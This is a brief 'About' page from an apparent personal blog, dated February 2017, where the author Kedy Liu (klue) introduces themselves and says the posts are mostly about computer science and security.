About

Mon, 27 Feb 2017 00:00:00 +0000

Welcome! I’m Kedy Liu (klue). You can find my thoughts here, mostly on computer science and security.